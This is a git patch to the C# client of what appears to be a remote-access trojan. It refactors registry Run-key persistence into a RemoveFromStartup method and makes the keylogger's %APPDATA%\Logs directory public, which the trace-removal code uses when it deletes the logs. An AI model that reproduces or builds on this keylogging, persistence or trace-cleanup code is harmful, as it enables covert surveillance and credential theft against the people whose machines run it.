From edb4e69869af736c73e31755ff2ef98ecbc2aeaf Mon Sep 17 00:00:00 2001 From: MaxXor Date: Mon, 27 Jul 2015 17:24:43 +0200 Subject: [PATCH] Fixed #297 --- Client/Core/SystemCore.cs | 115 +++++++++++++++-------------- Client/Core/Utilities/Keylogger.cs | 16 ++-- 2 files changed, 68 insertions(+), 63 deletions(-) diff --git a/Client/Core/SystemCore.cs b/Client/Core/SystemCore.cs index 8d1667ed..94f14065 100644 --- a/Client/Core/SystemCore.cs +++ b/Client/Core/SystemCore.cs @@ -14,6 +14,7 @@ using xClient.Core.Extensions; using xClient.Core.Helper; using xClient.Core.Networking; +using xClient.Core.Utilities; using xClient.Enums; namespace xClient.Core @@ -404,6 +405,62 @@ public static void AddToStartup() } } + public static void RemoveFromStartup() + { + if (Settings.STARTUP) + { + if (AccountType == "Admin") + { + try + { + using ( + RegistryKey key = + Registry.LocalMachine.OpenWritableSubKeySafe("Software\\Microsoft\\Windows\\CurrentVersion\\Run")) + { + if (key != null) + { + key.DeleteValue(Settings.STARTUPKEY, false); + key.Close(); + } + } + } + catch + { + // try deleting from Registry.CurrentUser + using ( + RegistryKey key = + Registry.CurrentUser.OpenWritableSubKeySafe("Software\\Microsoft\\Windows\\CurrentVersion\\Run")) + { + if (key != null) + { + key.DeleteValue(Settings.STARTUPKEY, false); + key.Close(); + } + } + } + } + else + { + try + { + using ( + RegistryKey key = + Registry.CurrentUser.OpenWritableSubKeySafe("Software\\Microsoft\\Windows\\CurrentVersion\\Run")) + { + if (key != null) + { + key.DeleteValue(Settings.STARTUPKEY, false); + key.Close(); + } + } + } + catch + { + } + } + } + } + public static void Install(bool addToStartup = true) { bool isKilled = false; @@ -523,65 +580,13 @@ public static void UpdateClient(Client c, string newFile) public static void RemoveTraces() { - if (Settings.STARTUP) - { - if (AccountType == "Admin") - { - try - { - using ( - RegistryKey key = - Registry.LocalMachine.OpenWritableSubKeySafe("Software\\Microsoft\\Windows\\CurrentVersion\\Run")) - { - if (key != null) - { - key.DeleteValue(Settings.STARTUPKEY, true); - key.Close(); - } - } - } - catch - { - // try deleting from Registry.CurrentUser - using ( - RegistryKey key = - Registry.CurrentUser.OpenWritableSubKeySafe("Software\\Microsoft\\Windows\\CurrentVersion\\Run")) - { - if (key != null) - { - key.DeleteValue(Settings.STARTUPKEY, true); - key.Close(); - } - } - } - } - else - { - try - { - using ( - RegistryKey key = - Registry.CurrentUser.OpenWritableSubKeySafe("Software\\Microsoft\\Windows\\CurrentVersion\\Run")) - { - if (key != null) - { - key.DeleteValue(Settings.STARTUPKEY, true); - key.Close(); - } - } - } - catch - { - } - } - } + RemoveFromStartup(); - string logsDirectory = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Logs\\"; - if (Directory.Exists(logsDirectory)) // try to delete Logs from Keylogger + if (Directory.Exists(Keylogger.LogDirectory)) // try to delete Logs from Keylogger { try { - Directory.Delete(logsDirectory, true); + Directory.Delete(Keylogger.LogDirectory, true); } catch { diff --git a/Client/Core/Utilities/Keylogger.cs b/Client/Core/Utilities/Keylogger.cs index 9f445f4e..d4e4f6e3 100644 --- a/Client/Core/Utilities/Keylogger.cs +++ b/Client/Core/Utilities/Keylogger.cs @@ -14,9 +14,6 @@ namespace xClient.Core.Utilities /// This class provides keylogging functionality and modifies/highlights the output for /// better user experience. /// - /// - /// The log files will be written to the log directory which is located under '%APPDATA%\Logs\'. - /// public class Keylogger : IDisposable { /// @@ -29,7 +26,11 @@ public class Keylogger : IDisposable /// public bool IsDisposed { get; private set; } - private readonly string _logDirectory; + /// + /// The directory where the log files will be saved. + /// + public static string LogDirectory { get { return Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Logs\\"; } } + private readonly Timer _timerFlush; private StringBuilder _logFileBuffer; private List _pressedKeys = new List(); @@ -46,7 +47,6 @@ public Keylogger(double flushInterval) { Instance = this; _lastWindowTitle = string.Empty; - _logDirectory = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Logs\\"; _logFileBuffer = new StringBuilder(); Subscribe(Hook.GlobalEvents()); @@ -244,12 +244,12 @@ private void WriteFile() { bool writeHeader = false; - string fileName = _logDirectory + DateTime.Now.ToString("MM-dd-yyyy"); + string fileName = LogDirectory + DateTime.Now.ToString("MM-dd-yyyy"); try { - if (!Directory.Exists(_logDirectory)) - Directory.CreateDirectory(_logDirectory); + if (!Directory.Exists(LogDirectory)) + Directory.CreateDirectory(LogDirectory); if (!File.Exists(fileName)) writeHeader = true;